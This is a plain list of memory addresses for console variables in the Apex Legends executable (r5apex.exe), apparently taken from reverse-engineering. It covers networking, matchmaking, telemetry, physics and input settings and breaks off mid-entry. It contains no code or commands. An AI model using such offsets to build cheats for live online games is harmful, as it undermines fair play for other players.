+r5apex.exe!0x012e0f30 ConVar mat_sync_rt +r5apex.exe!0x012e4940 ConVar mat_sync_rt_flushes_gpu +r5apex.exe!0x01296a50 ConVar mat_texture_list +r5apex.exe!0x01296af0 ConVar mat_texture_list_view +r5apex.exe!0x012e49e0 ConVar mat_translucency_errors +r5apex.exe!0x012e4440 ConVar mat_vignette_enable +r5apex.exe!0x012e2810 ConVar mat_warn_texture_convert +r5apex.exe!0x01190580 ConVar match_backingOutMaxTimeToWait +r5apex.exe!0x011958a0 ConVar match_backoutslow +r5apex.exe!0x0118fa00 ConVar match_connect +r5apex.exe!0x011918d0 ConVar match_defaultMap_party +r5apex.exe!0x011963e0 ConVar match_dir +r5apex.exe!0x011921b0 ConVar match_dumpSearchResults +r5apex.exe!0x0118f440 ConVar match_emptyUpdateRate +r5apex.exe!0x01197030 ConVar match_enabled +r5apex.exe!0x01191790 ConVar match_fakePort +r5apex.exe!0x0118f580 ConVar match_fakeS2SPort +r5apex.exe!0x01198290 ConVar match_forceVerboseSearches +r5apex.exe!0x01193b20 ConVar match_goodReputation +r5apex.exe!0x011944d0 ConVar match_maxPingsSent +r5apex.exe!0x011962c0 ConVar match_myBestDatacenter +r5apex.exe!0x01196220 ConVar match_myDatacenter +r5apex.exe!0x011965a0 ConVar match_myRankedDatacenter +r5apex.exe!0x01190010 ConVar match_myTeam +r5apex.exe!0x01195620 ConVar match_partyChangeNum +r5apex.exe!0x0118fe60 ConVar match_partySize +r5apex.exe!0x0118f6c0 ConVar match_partySub +r5apex.exe!0x0118ee20 ConVar match_pingWaveInterval +r5apex.exe!0x01196ef0 ConVar match_playlist +r5apex.exe!0x01190a40 ConVar match_precachemap +r5apex.exe!0x01191d10 ConVar match_privateMatchListWithStryder +r5apex.exe!0x011929e0 ConVar match_rankedMaxPing +r5apex.exe!0x01190620 ConVar match_rankedSwitchETA +r5apex.exe!0x01196a40 ConVar match_resetPlaylistBetweenMatches +r5apex.exe!0x011959e0 ConVar match_roleToken +r5apex.exe!0x01192c60 ConVar match_searchInterval +r5apex.exe!0x01197490 ConVar match_searching +r5apex.exe!0x01194750 ConVar match_teamNoFill +r5apex.exe!0x01195580 ConVar match_updateNotableRate +r5apex.exe!0x011956c0 ConVar match_updateRate +r5apex.exe!0x01193eb0 ConVar match_useMatchmaking +r5apex.exe!0x011969a0 ConVar match_verbosePrintsInterval +r5apex.exe!0x01192070 ConVar match_visiblePlaylists +r5apex.exe!0x011936e0 ConVar matchmaking_hostname +r5apex.exe!0x01c984f0 ConVar max_explosive_damage_mass +r5apex.exe!0x01c9c800 ConVar max_explosive_damage_velocity +r5apex.exe!0x01895f90 ConVar max_tweak_shadow_updates +r5apex.exe!0x01e769c0 ConVar melee_aim_assist_can_lock_pitch +r5apex.exe!0x01e7b720 ConVar melee_aim_assist_use_target_velocity +r5apex.exe!0x01e74cd0 ConVar melee_attack_trace_can_use_lunge_distance +r5apex.exe!0x01e76670 ConVar melee_cone_trace_box_check +r5apex.exe!0x01c8a5b0 ConVar melee_lunge_abort_distance +r5apex.exe!0x01c5ac30 ConVar melee_lunge_abort_if_blocked +r5apex.exe!0x01e7a780 ConVar melee_lunge_adjust_trace_distance +r5apex.exe!0x01e7a880 ConVar melee_lunge_align_eye_position +r5apex.exe!0x01e76920 ConVar melee_lunge_dot_check +r5apex.exe!0x01c8f290 ConVar melee_lunge_force_enable_flying +r5apex.exe!0x01c91600 ConVar melee_lunge_lag_compensate_target +r5apex.exe!0x01e7e830 ConVar melee_lunge_scale_by_speed +r5apex.exe!0x01c5c940 ConVar melee_lunge_slide +r5apex.exe!0x01c576d0 ConVar melee_lunge_use_closest_distance_between_cylinders +r5apex.exe!0x01e7c360 ConVar melee_lunge_use_command_time +r5apex.exe!0x01ca0740 ConVar melee_queue_attack_anim_event +r5apex.exe!0x012cd6d0 ConVar mem_dumpstats +r5apex.exe!0x0118a850 ConVar mem_force_flush +r5apex.exe!0x0118a7b0 ConVar mem_force_flush_section +r5apex.exe!0x012cbd10 ConVar mem_incremental_compact_rate +r5apex.exe!0x012de210 ConVar mem_level +r5apex.exe!0x0189f990 ConVar mem_level +r5apex.exe!0x0119b8e0 ConVar mem_max_heapsize +r5apex.exe!0x01199f00 ConVar mem_max_heapsize_dedicated +r5apex.exe!0x011996f0 ConVar mem_min_heapsize +r5apex.exe!0x01886430 ConVar mem_runheapchecks +r5apex.exe!0x012cc650 ConVar mem_test_each_frame +r5apex.exe!0x012cc9f0 ConVar mem_test_every_n_seconds +r5apex.exe!0x012cbc70 ConVar mem_test_quiet +r5apex.exe!0x01e5d5a0 ConVar menu_faq_community_version +r5apex.exe!0x01e5cf40 ConVar menu_faq_patchnotes_version +r5apex.exe!0x01e5c450 ConVar menu_faq_viewed +r5apex.exe!0x01e5d2a0 ConVar menu_was_multiplayer_played_last +r5apex.exe!0x012cea20 ConVar migrate_attempt_interval +r5apex.exe!0x012ce840 ConVar migrate_attempt_max_retries +r5apex.exe!0x01e72ef0 ConVar miles_actor_occlusion_radius +r5apex.exe!0x01e739c0 ConVar miles_channels +r5apex.exe!0x018a3610 ConVar miles_flip_active_window_logic +r5apex.exe!0x01e71600 ConVar miles_force_emitter_environment +r5apex.exe!0x01e72db0 ConVar miles_force_listener_environment +r5apex.exe!0x01e74790 ConVar miles_freeze +r5apex.exe!0x01e73e20 ConVar miles_initial_occlusion_delay +r5apex.exe!0x01e73770 ConVar miles_language +r5apex.exe!0x01e717e0 ConVar miles_listener_freeze +r5apex.exe!0x01e73030 ConVar miles_nonactor_occlusion +r5apex.exe!0x01e74040 ConVar miles_nonactor_occlusion_radius +r5apex.exe!0x01e731a0 ConVar miles_nopandist +r5apex.exe!0x01e73ec0 ConVar miles_occlusion +r5apex.exe!0x01e734f0 ConVar miles_occlusion_force +r5apex.exe!0x01e71c80 ConVar miles_occlusion_partial +r5apex.exe!0x01e729f0 ConVar miles_occlusion_use_reset_after_deferred_initial +r5apex.exe!0x01e74650 ConVar miles_samplerate +r5apex.exe!0x0119eac0 ConVar miles_server_sounds_debug +r5apex.exe!0x0119eb60 ConVar miles_server_sounds_print +r5apex.exe!0x01e71740 ConVar miles_solo_ents +r5apex.exe!0x01c3ba50 ConVar miles_soundscape_imgui +r5apex.exe!0x01e72750 ConVar miles_spatialize_front_degrees +r5apex.exe!0x01e741b0 ConVar miles_spatialize_offplane_strength +r5apex.exe!0x01e72950 ConVar miles_spatialize_on +r5apex.exe!0x01e732e0 ConVar miles_spatialize_rear_degrees +r5apex.exe!0x01e743c0 ConVar miles_suffixes +r5apex.exe!0x01c99a70 ConVar min_explosive_damage_mass +r5apex.exe!0x01e7b7c0 ConVar missile_default_speed +r5apex.exe!0x01e7b060 ConVar missile_homing_speed +r5apex.exe!0x01e896d0 ConVar mod_trace_load +r5apex.exe!0x0119d1c0 ConVar model_defaultFadeDistMin +r5apex.exe!0x01c37ed0 ConVar model_defaultFadeDistMin +r5apex.exe!0x0119a140 ConVar model_defaultFadeDistScale +r5apex.exe!0x018a0710 ConVar model_defaultFadeDistScale +r5apex.exe!0x01c38b30 ConVar model_fadeRangeFraction +r5apex.exe!0x01c38bd0 ConVar model_fadeRangeFractionNear +r5apex.exe!0x01ca4460 ConVar monitor_cc +r5apex.exe!0x012e3540 ConVar monitor_mat_sharpen_amount +r5apex.exe!0x01ca49e0 ConVar monitor_postfx +r5apex.exe!0x01e58e20 ConVar monitor_rui_world_enabled +r5apex.exe!0x01895cb0 ConVar monitor_snapshot_frame_delay +r5apex.exe!0x0189d5e0 ConVar monitor_zfar_default +r5apex.exe!0x01e58c40 ConVar monitor_zfar_override +r5apex.exe!0x01ca4140 ConVar monitor_zfar_override_enabled +r5apex.exe!0x01192e40 ConVar motd +r5apex.exe!0x01c49830 ConVar mouse_sensitivity +r5apex.exe!0x01c3e360 ConVar mouse_use_per_scope_sensitivity_scalars +r5apex.exe!0x01c3e400 ConVar mouse_zoomed_sensitivity_scalar_0 +r5apex.exe!0x01c3e4a0 ConVar mouse_zoomed_sensitivity_scalar_1 +r5apex.exe!0x01c3e540 ConVar mouse_zoomed_sensitivity_scalar_2 +r5apex.exe!0x01c3e5e0 ConVar mouse_zoomed_sensitivity_scalar_3 +r5apex.exe!0x01c3e680 ConVar mouse_zoomed_sensitivity_scalar_4 +r5apex.exe!0x01c3e720 ConVar mouse_zoomed_sensitivity_scalar_5 +r5apex.exe!0x01c3e7c0 ConVar mouse_zoomed_sensitivity_scalar_6 +r5apex.exe!0x01c3e860 ConVar mouse_zoomed_sensitivity_scalar_7 +r5apex.exe!0x012cda10 ConVar move_one_cmd_per_client_frame +r5apex.exe!0x01e6ee20 ConVar movement_anim_downed_playback_maxrate +r5apex.exe!0x01e6e5c0 ConVar movement_anim_playback_maxrate +r5apex.exe!0x01e6e480 ConVar movement_anim_playback_minrate +r5apex.exe!0x01e6e980 ConVar movement_anim_sprint_playback_maxrate +r5apex.exe!0x01197210 ConVar mp_accountLink_requestInterval +r5apex.exe!0x0118fce0 ConVar mp_allowed +r5apex.exe!0x01e6eac0 ConVar mp_bodyyawrate +r5apex.exe!0x01297a60 ConVar mp_countRRNobodyAsLobby +r5apex.exe!0x01c8c8b0 ConVar mp_enablematchending +r5apex.exe!0x01c5a910 ConVar mp_enabletimelimit +r5apex.exe!0x01c936a0 ConVar mp_gamemode +r5apex.exe!0x012d10e0 ConVar mp_linkingAccountTime +r5apex.exe!0x012d1040 ConVar mp_linkingAccountWindow +r5apex.exe!0x01e6e700 ConVar mp_maxbodyyaw +r5apex.exe!0x01197f70 ConVar mp_permission_requestInterval +r5apex.exe!0x01196820 ConVar mp_permission_rerequestInterval +r5apex.exe!0x01c5c700 ConVar mp_player_level +r5apex.exe!0x01e6e8e0 ConVar mp_scaleAnimationSpeeds +r5apex.exe!0x01e6ea20 ConVar mp_showgestureslots +r5apex.exe!0x0119eca0 ConVar mtx_svEdition +r5apex.exe!0x01e7e730 ConVar muteWeaponSounds +r5apex.exe!0x01298380 ConVar name +r5apex.exe!0x018a41b0 ConVar net_RunInvalidatePhysics +r5apex.exe!0x01194de0 ConVar net_async_sendto +r5apex.exe!0x01193780 ConVar net_autoUnthrottle +r5apex.exe!0x01198df0 ConVar net_bandwidthPrintThreshold +r5apex.exe!0x01197bb0 ConVar net_bindToSpecificAddress +r5apex.exe!0x0118f880 ConVar net_blockmsg +r5apex.exe!0x012d2380 ConVar net_chatThroughChatserver +r5apex.exe!0x011986f0 ConVar net_chokeloop +r5apex.exe!0x01193640 ConVar net_clearReliableDataOnReset +r5apex.exe!0x01e7deb0 ConVar net_client_side_weapon_animations +r5apex.exe!0x01198c30 ConVar net_compressDataBlock +r5apex.exe!0x01194e80 ConVar net_compressLZValue +r5apex.exe!0x01192d00 ConVar net_compresspackets +r5apex.exe!0x01190b80 ConVar net_compresspackets_minsize +r5apex.exe!0x01297520 ConVar net_connectPacketWarningThreshhold +r5apex.exe!0x0129ac20 ConVar net_connectingDataRate +r5apex.exe!0x0118d510 ConVar net_createUndoDeltas +r5apex.exe!0x0129cc40 ConVar net_data_block_enabled +r5apex.exe!0x01196db0 ConVar net_datablockPrintSummaries +r5apex.exe!0x01299300 ConVar net_datablock_fastRate +r5apex.exe!0x01192f80 ConVar net_datablock_longSendTime +r5apex.exe!0x01197930 ConVar net_datablock_minResendInterval +r5apex.exe!0x0129af20 ConVar net_datablock_networkLossForSlowSpeed +r5apex.exe!0x012997e0 ConVar net_datablock_resendRateForSlowSpeed +r5apex.exe!0x0129bf20 ConVar net_datablock_slowRate +r5apex.exe!0x0118f300 ConVar net_debugDataBlockReceiver +r5apex.exe!0x01196f90 ConVar net_debugDataBlockSender +r5apex.exe!0x0119f400 ConVar net_debugLerping +r5apex.exe!0x01298060 ConVar net_deltaFieldEntityBlockSize +r5apex.exe!0x01296e40 ConVar net_disconnectIfDeltaBufferIsFull +r5apex.exe!0x0118eec0 ConVar net_drawslider +r5apex.exe!0x01195320 ConVar net_droppackets +r5apex.exe!0x0118d930 ConVar net_dumpChangesPrecise +r5apex.exe!0x01190ff0 ConVar net_encrypt_copyCtx +r5apex.exe!0x01193160 ConVar net_encryptionDebug +r5apex.exe!0x01296d00 ConVar net_forceDeltaBufferToOverflow +r5apex.exe!0x0118c720 ConVar net_forceUnnecessaryUndoDeltas +r5apex.exe!0x01196c70 ConVar net_forcetimeout +r5apex.exe!0x01198a10 ConVar net_fullyConnectedDataRate +r5apex.exe!0x01260e30 ConVar net_highPacketLatencyThreshold +r5apex.exe!0x0125fdf0 ConVar net_highPacketLossThreshold +r5apex.exe!0x0125f9b0 ConVar net_ignoreAllSnapshots +r5apex.exe!0x01297340 ConVar net_largeSnapshotThreshold +r5apex.exe!0x0119f5e0 ConVar net_lerpFields +r5apex.exe!0x0129aae0 ConVar net_lowBandwidthConnect +r5apex.exe!0x0118f3a0 ConVar net_maxAccumulatedClearTimeBalance +r5apex.exe!0x011900b0 ConVar net_maxcleartime +r5apex.exe!0x01190e10 ConVar net_maxfilesize +r5apex.exe!0x01190150 ConVar net_maxfragments +r5apex.exe!0x0118f620 ConVar net_maxroutable +r5apex.exe!0x0118faa0 ConVar net_minConnectionTimeForSpam +r5apex.exe!0x01196500 ConVar net_minQueuedPacketsForPrint +r5apex.exe!0x01e5dc60 ConVar net_minResetIdleTimerInterval +r5apex.exe!0x01190330 ConVar net_minimumPacketLossDC +r5apex.exe!0x011901f0 ConVar net_minroutable +r5apex.exe!0x012608a0 ConVar net_netGraph2 +r5apex.exe!0x012981a0 ConVar net_noPostDataForDeletedEnts +r5apex.exe!0x01c98450 ConVar net_old_seed_generation +r5apex.exe!0x0129a720 ConVar net_optimize_persistent_data +r5apex.exe!0x0129c9c0 ConVar net_optimize_playlists +r5apex.exe!0x01e81620 ConVar net_optimize_weapons +r5apex.exe!0x01e85260 ConVar net_predictParentEntities +r5apex.exe!0x01297880 ConVar net_predictedEntsUseFirstAvailableSnapshot +r5apex.exe!0x012972a0 ConVar net_predictionDebug +r5apex.exe!0x0119f720 ConVar net_pretendSnapshotArrayFull +r5apex.exe!0x01191bd0 ConVar net_printCompression +r5apex.exe!0x012979c0 ConVar net_printOutOfSnapshots +r5apex.exe!0x0118c450 ConVar net_printUnnecessaryDeltas +r5apex.exe!0x0118e530 ConVar net_propSkipPrintThreshold +r5apex.exe!0x01191970 ConVar net_queue_trace +r5apex.exe!0x0118eaf0 ConVar net_queuedPackets_PrintOversleeps +r5apex.exe!0x01193520 ConVar net_queuedPackets_SkipSmallSleeps +r5apex.exe!0x01191f30 ConVar net_queued_packet_sender_nopacket_sleep +r5apex.exe!0x01191130 ConVar net_queued_packet_thread +r5apex.exe!0x011926c0 ConVar net_recentNetworkGapWindow +r5apex.exe!0x01194110 ConVar net_recentNetworkGapsNeeded +r5apex.exe!0x01297020 ConVar net_recreateScriptInstanceOnReplayTransition +r5apex.exe!0x0119f860 ConVar net_recv_dumpChanges +r5apex.exe!0x0118cdd0 ConVar net_recv_dumpNetworkedChangesOnEntCreate +r5apex.exe!0x0118d190 ConVar net_recv_watchEnt +r5apex.exe!0x0118c7c0 ConVar net_recv_watchField1 +r5apex.exe!0x0118de30 ConVar net_recv_watchField2 +r5apex.exe!0x01195940 ConVar net_resourcePrintMinimum +r5apex.exe!0x0118c050 ConVar net_sendFloatDeltas +r5apex.exe!0x0129bc00 ConVar net_sendProfileTotals +r5apex.exe!0x01194fc0 ConVar net_sendtoInJob +r5apex.exe!0x01198330 ConVar net_showFailedAuth +r5apex.exe!0x012975c0 ConVar net_showLargeSnapshot +r5apex.exe!0x01192110 ConVar net_showQueued +r5apex.exe!0x0119f360 ConVar net_showServerStruggle +r5apex.exe!0x0118b6b0 ConVar net_showUndoDeltas +r5apex.exe!0x01260230 ConVar net_showUserWarnings +r5apex.exe!0x011985b0 ConVar net_showchoke +r5apex.exe!0x0118f260 ConVar net_showchokeInterval +r5apex.exe!0x01192bc0 ConVar net_showdrop +r5apex.exe!0x0118f4e0 ConVar net_showfragments +r5apex.exe!0x011941b0 ConVar net_showmsg +r5apex.exe!0x01191270 ConVar net_showpeaks +r5apex.exe!0x01192580 ConVar net_showsendrecv +r5apex.exe!0x01191310 ConVar net_showsplits +r5apex.exe!0x01192a80 ConVar net_showudp +r5apex.exe!0x0118ef60 ConVar net_showudp_oob +r5apex.exe!0x01198d50 ConVar net_showudp_remoteonly +r5apex.exe!0x01c9c5d0 ConVar net_showusercmd +r5apex.exe!0x0118ad80 ConVar net_skipUnnecessaryDeltas +r5apex.exe!0x01195e80 ConVar net_splitrate +r5apex.exe!0x01194d40 ConVar net_splitrateDefaultMP +r5apex.exe!0x01191fd0 ConVar net_splitrateDefaultSP +r5apex.exe!0x0118eca0 ConVar net_tamperPackets +r5apex.exe!0x01297160 ConVar net_threadedEntityDeltas +r5apex.exe!0x01298240 ConVar net_threadedProcessPacket +r5apex.exe!0x0118ff00 ConVar net_timeoutUsesLastReadTime +r5apex.exe!0x01195460 ConVar net_trackerWarningInterval +r5apex.exe!0x011979d0 ConVar net_usesocketsforloopback +r5apex.exe!0x01196640 ConVar net_verifyEncryption +r5apex.exe!0x012d2260 ConVar net_voiceEchoFromChatServer +r5apex.exe!0x0118fc40 ConVar net_warnAboutSocketReadGaps +r5apex.exe!0x01196d10 ConVar net_warnGapTime +r5apex.exe!0x01197c50 ConVar net_wifi +r5apex.exe!0x01296f80 ConVar net_worldHitchSlopTime +r5apex.exe!0x012cca90 ConVar next +r5apex.exe!0x01ca0e80 ConVar noReloadAfterUse +r5apex.exe!0x012e41c0 ConVar noise_filter_scale +r5apex.exe!0x0119a040 ConVar not_focus_sleep +r5apex.exe!0x012ca160 ConVar notification_displayTime +r5apex.exe!0x0119b0a0 ConVar nucleus_id +r5apex.exe!0x0119a620 ConVar nucleus_pid +r5apex.exe!0x01c4f1f0 ConVar number_shortenToMillionsAfter +r5apex.exe!0x01e7a640 ConVar object_placement_debug +r5apex.exe!0x01e82100 ConVar offhandTossOverheadPitchThreshold +r5apex.exe!0x01c5a730 ConVar offhand_alignEndAnim1p3p +r5apex.exe!0x0119c6a0 ConVar old_culling +r5apex.exe!0x0119aa00 ConVar old_gather_props +r5apex.exe!0x01c914d0 ConVar one_handed_change_rate +r5apex.exe!0x01e58880 ConVar opaque_renderable_worker +r5apex.exe!0x012caae0 ConVar openInvite_spam +r5apex.exe!0x012ca440 ConVar openInvites_filterByLanguage +r5apex.exe!0x012ca700 ConVar openInvites_filterByRegion +r5apex.exe!0x012cefa0 ConVar openinvite_duration_default +r5apex.exe!0x01c39890 ConVar ordnanceSwapSelectCooldown +r5apex.exe!0x058ca360 ConVar origin_Errorlevel_OldBehaviour +r5apex.exe!0x058ca5e0 ConVar origin_Errorlevel_Telementry +r5apex.exe!0x058ca540 ConVar origin_authCodeFailureMaxBackoffSeconds +r5apex.exe!0x058c4fc0 ConVar origin_autoRefreshTokenClient +r5apex.exe!0x058ca400 ConVar origin_autoRefreshTokenServer +r5apex.exe!0x058ca220 ConVar origin_debug +r5apex.exe!0x058c4e80 ConVar origin_disconnectWhenOffline +r5apex.exe!0x058c4f20 ConVar origin_ignoreInvitesOnLoadScreen +r5apex.exe!0x058c4cd0 ConVar origin_igo_mutes_sound_enabled +r5apex.exe!0x018a2930 ConVar origin_igo_muting_sound +r5apex.exe!0x058c4de0 ConVar origin_keepOldPresence +r5apex.exe!0x058ca2c0 ConVar origin_presense_updateRate +r5apex.exe!0x058ca4a0 ConVar origin_tokenFailureMaxBackoffSeconds +r5apex.exe!0x01e8d130 ConVar panel_showVisChanges +r5apex.exe!0x01e8cd80 ConVar panel_test_title_safe +r5apex.exe!0x01e84bc0 ConVar parenting_debug +r5apex.exe!0x01c9f870 ConVar particleEffect_checkShouldStillPlay +r5apex.exe!0x01e8b510 ConVar particle_alwayswakeonstop +r5apex.exe!0x012d3ca0 ConVar particle_cpu_level +r5apex.exe!0x01e8b8d0 ConVar particle_delete_all_except +r5apex.exe!0x01c2f180 ConVar particle_dlights_enable +r5apex.exe!0x01c38010 ConVar particle_dlights_spew +r5apex.exe!0x01c56340 ConVar particle_gpu_level +r5apex.exe!0x012e6d40 ConVar particle_lighting_clear_enable +r5apex.exe!0x012e6ca0 ConVar particle_lighting_size +r5apex.exe!0x01e8b110 ConVar particle_lighting_viewmodel_enable +r5apex.exe!0x01c508e0 ConVar particle_overlay +r5apex.exe!0x01c51770 ConVar particle_overlay_detail_attributes +r5apex.exe!0x01c55650 ConVar particle_overlay_detail_filter +r5apex.exe!0x01c552b0 ConVar particle_overlay_detail_list_particles +r5apex.exe!0x01c52430 ConVar particle_overlay_detail_scroll +r5apex.exe!0x01c53ab0 ConVar particle_overlay_hide_sleeping +r5apex.exe!0x01c542d0 ConVar particle_overlay_list_filter +r5apex.exe!0x01c50510 ConVar particle_overlay_list_tally +r5apex.exe!0x01c51630 ConVar particle_overlay_list_tally_collapse_children +r5apex.exe!0x01c52c30 ConVar particle_overlay_old +r5apex.exe!0x01c53190 ConVar particle_overlay_scroll +r5apex.exe!0x01e8aaa0 ConVar particle_remap_vol2cp_debug +r5apex.exe!0x01e89c10 ConVar particle_script_dump +r5apex.exe!0x01e89cb0 ConVar particle_script_list +r5apex.exe!0x01e89d50 ConVar particle_script_log +r5apex.exe!0x01c50c70 ConVar particle_scrub_debug +r5apex.exe!0x01e8b1f0 ConVar particle_scrub_debug_effect +r5apex.exe!0x01e8ba10 ConVar particle_scrub_is_using_time_scrub +r5apex.exe!0x01e8b5b0 ConVar particle_scrub_max_dt +r5apex.exe!0x01e8b650 ConVar particle_scrub_play_speed +r5apex.exe!0x01e8b830 ConVar particle_scrub_quality +r5apex.exe!0x01e8b6f0 ConVar particle_scrub_time +r5apex.exe!0x01c54050 ConVar particle_simulateoverflow +r5apex.exe!0x01e8b970 ConVar particles_cull_dlights +r5apex.exe!0x01e8b790 ConVar particles_max_passes +r5apex.exe!0x01e8b290 ConVar particles_spawncull +r5apex.exe!0x01e8b3d0 ConVar particles_spawncull_report +r5apex.exe!0x012cf040 ConVar parties_alwaysReadSubs +r5apex.exe!0x012ce7a0 ConVar party_autoCreatePartyAlways +r5apex.exe!0x012cf340 ConVar party_autoCreatePartyDelay +r5apex.exe!0x01e651e0 ConVar party_color_enabled +r5apex.exe!0x012ceac0 ConVar party_doRealNameLookups +r5apex.exe!0x012ce980 ConVar party_doRealNameLookupsForOwner +r5apex.exe!0x012cadc0 ConVar party_hostname +r5apex.exe!0x012ce8e0 ConVar party_httpHandleTimeout +r5apex.exe!0x012ca7a0 ConVar party_keepAliveTime +r5apex.exe!0x012cef00 ConVar party_keepAliveTime +r5apex.exe!0x012ced40 ConVar party_leaderAlwaysDetectsChanges +r5apex.exe!0x012ceca0 ConVar party_leaderReadyOnly +r5apex.exe!0x012ca940 ConVar party_leaveMatchOnJoin +r5apex.exe!0x012cee60 ConVar party_lookupRealNamesForOpenInvites +r5apex.exe!0x012cf0e0 ConVar party_lookupRealNamesForOpenInvitesForOwner +r5apex.exe!0x012cec00 ConVar party_minSize +r5apex.exe!0x012cf2a0 ConVar party_privacy +r5apex.exe!0x012cf3e0 ConVar party_readyToSearch +r5apex.exe!0x0129d1f0 ConVar party_relyOnPartyForMemberUserInfo +r5apex.exe!0x012cf480 ConVar party_requireConsensusForSearch +r5apex.exe!0x0119d260 ConVar perTriangleCollisionForced +r5apex.exe!0x01885300 ConVar perfcharts_killswitch +r5apex.exe!0x018853a0 ConVar perfcharts_pin_enabled +r5apex.exe!0x01885440 ConVar perfcharts_pin_print +r5apex.exe!0x01198830 ConVar persistenceDef_hostname +r5apex.exe!0x012d3160 ConVar persistenceDef_queryMaxHttpRetries +r5apex.exe!0x012d30c0 ConVar persistenceDef_readMaxHttpRetries +r5apex.exe!0x012d3200 ConVar persistenceDef_retryReadAfterErrorTime +r5apex.exe!0x012d32a0 ConVar persistenceDef_writeMaxHttpRetries +r5apex.exe!0x012d33e0 ConVar persistence_clForceNew +r5apex.exe!0x012d3480 ConVar persistence_disableForBuildProcess +r5apex.exe!0x012d3520 ConVar persistence_enforce_manifest +r5apex.exe!0x01197b10 ConVar persistence_hostname +r5apex.exe!0x012d3660 ConVar persistence_new_player_if_upgrade_fails +r5apex.exe!0x012d3340 ConVar persistence_upload_def +r5apex.exe!0x012d35c0 ConVar persistence_upload_failure_is_error +r5apex.exe!0x01297cc0 ConVar persistent_warningRate +r5apex.exe!0x01199970 ConVar pertrianglecollision +r5apex.exe!0x01e88ed0 ConVar phys_bounce +r5apex.exe!0x01e88fb0 ConVar phys_cfm +r5apex.exe!0x01e88cf0 ConVar phys_cfm_anglejointstop +r5apex.exe!0x01e88d90 ConVar phys_drawContacts +r5apex.exe!0x01e88e30 ConVar phys_drawContactsDuration +r5apex.exe!0x01e889d0 ConVar phys_drawGeoms +r5apex.exe!0x01e88b10 ConVar phys_drawTunnelChecks +r5apex.exe!0x01e88750 ConVar phys_enableObjectPairCollidePrototype +r5apex.exe!0x01e88610 ConVar phys_erp +r5apex.exe!0x01e88930 ConVar phys_erp_anglejointstop +r5apex.exe!0x01e88c50 ConVar phys_frictionDefault +r5apex.exe!0x01c54810 ConVar phys_showObjectCount +r5apex.exe!0x01e887f0 ConVar phys_threadGoWide +r5apex.exe!0x01e89290 ConVar physics_async_cl +r5apex.exe!0x01e89150 ConVar physics_autoSleepAngularThreshold +r5apex.exe!0x01e88bb0 ConVar physics_autoSleepDebug +r5apex.exe!0x01e88a70 ConVar physics_autoSleepGroundHysteresis +r5apex.exe!0x01e891f0 ConVar physics_autoSleepSpeedThreshold +r5apex.exe!0x01e886b0 ConVar physics_collideWithMovingGeo +r5apex.exe!0x01c51e30 ConVar physics_collision_speed_threshold +r5apex.exe!0x01c752e0 ConVar physics_defaultMaxAngularSpeed +r5apex.exe!0x01c90ed0 ConVar physics_defaultMaxSpeed +r5apex.exe!0x01888a80 ConVar physics_scaled_mem +r5apex.exe!0x01e88890 ConVar physics_tunnelChecks +r5apex.exe!0x01e890b0 ConVar physics_tunnelChecksForceAlways +r5apex.exe!0x0119c9c0 ConVar pin_opt_in +r5apex.exe!0x012982e0 ConVar pin_plat_id +r5apex.exe!0x0119cc40 ConVar pin_sid +r5apex.exe!0x01199650 ConVar pin_telemetry_actually_send +r5apex.exe!0x0119cec0 ConVar pin_telemetry_debug_code +r5apex.exe!0x01199430 ConVar pin_telemetry_debug_payload +r5apex.exe!0x01e5c160 ConVar pin_telemetry_debug_script +r5apex.exe!0x011998d0 ConVar pin_telemetry_dont_send_events +r5apex.exe!0x0119abc0 ConVar pin_telemetry_hostname +r5apex.exe!0x0119a760 ConVar pin_telemetry_inactivity_send_time +r5apex.exe!0x0119a940 ConVar pin_telemetry_max_payload_size +r5apex.exe!0x0119bdc0 ConVar pin_telemetry_send_debug +r5apex.exe!0x01193f50 ConVar ping_debug +r5apex.exe!0x01e702a0 ConVar ping_max_green +r5apex.exe!0x01e70120 ConVar ping_max_red +r5apex.exe!0x01e70700 ConVar ping_max_yellow +r5apex.exe!0x01192940 ConVar ping_minSentForChoice +r5apex.exe!0x01194390 ConVar ping_qos_units +r5apex.exe!0x01198010 ConVar ping_usePacketLoss +r5apex.exe!0x01895900 ConVar pixvis_enable +r5apex.exe!0x01882ce0 ConVar pixvis_maxquads +r5apex.exe!0x01895680 ConVar pixvis_spew +r5apex.exe!0x012ce370 ConVar plat_environment +r5apex.exe!0x012c9e60 ConVar plat_retryNameLookups +r5apex.exe!0x01298420 ConVar platform_user_id +r5apex.exe!0x01e6f860 ConVar playerListPartyColorB +r5apex.exe!0x01e70660 ConVar playerListPartyColorG +r5apex.exe!0x01e6f540 ConVar playerListPartyColorR +r5apex.exe!0x01e708e0 ConVar playerListUseFriendColor +r5apex.exe!0x01ca0be0 ConVar player_ADS_buffer_time_seconds +r5apex.exe!0x01894740 ConVar player_debugPredictedPosition +r5apex.exe!0x0188e040 ConVar player_deltaAnimsMakeMeUnpredicted +r5apex.exe!0x018933d0 ConVar player_doJetwashEffects +r5apex.exe!0x01c88ac0 ConVar player_extraairaccelleration +r5apex.exe!0x01894600 ConVar player_highFrequencyThinkDistance +r5apex.exe!0x01c916a0 ConVar player_movementBounds_predictionShare +r5apex.exe!0x01e6eb60 ConVar player_movingDeathThreshold +r5apex.exe!0x01893aa0 ConVar player_respawnInputDebounceDuration +r5apex.exe!0x01c45810 ConVar player_setting_autosprint +r5apex.exe!0x01e5e270 ConVar player_setting_damage_closes_deathbox_menu +r5apex.exe!0x01ca1700 ConVar player_setting_stickysprintforward +r5apex.exe!0x01892530 ConVar player_showEyePosition +r5apex.exe!0x01c57150 ConVar player_useMovementBounds +r5apex.exe!0x01893bc0 ConVar player_viewchange_debug_pitch +r5apex.exe!0x018947e0 ConVar player_viewchange_debug_roll +r5apex.exe!0x01893290 ConVar player_viewchange_debug_yaw +r5apex.exe!0x0119c600 ConVar playlist_changeGamemodeAutomatically +r5apex.exe!0x0119b480 ConVar playlist_debug +r5apex.exe!0x01199390 ConVar playlist_debug_getvar +r5apex.exe!0x0119ab20 ConVar playlist_debug_localization +r5apex.exe!0x0119b980 ConVar playlist_dump +r5apex.exe!0x0119b1e0 ConVar playlist_privateMatchEnabled +r5apex.exe!0x011992f0 ConVar playlist_rotationGroup +r5apex.exe!0x0119c480 ConVar playlist_rotationInterval +r5apex.exe!0x01199d50 ConVar playlist_rotationIntervalDefault +r5apex.exe!0x0119c020 ConVar playlist_rotationIntervalOverride +r5apex.exe!0x0119baa0 ConVar playlist_rotationNextTime +r5apex.exe!0x01c87520 ConVar playlist_variableErrorsChecks +r5apex.exe!0x01e714c0 ConVar portal_pointpush_debug +r5apex.exe!0x01e71560 ConVar portal_pointpush_think_rate +r5apex.exe!0x01ca1520 ConVar 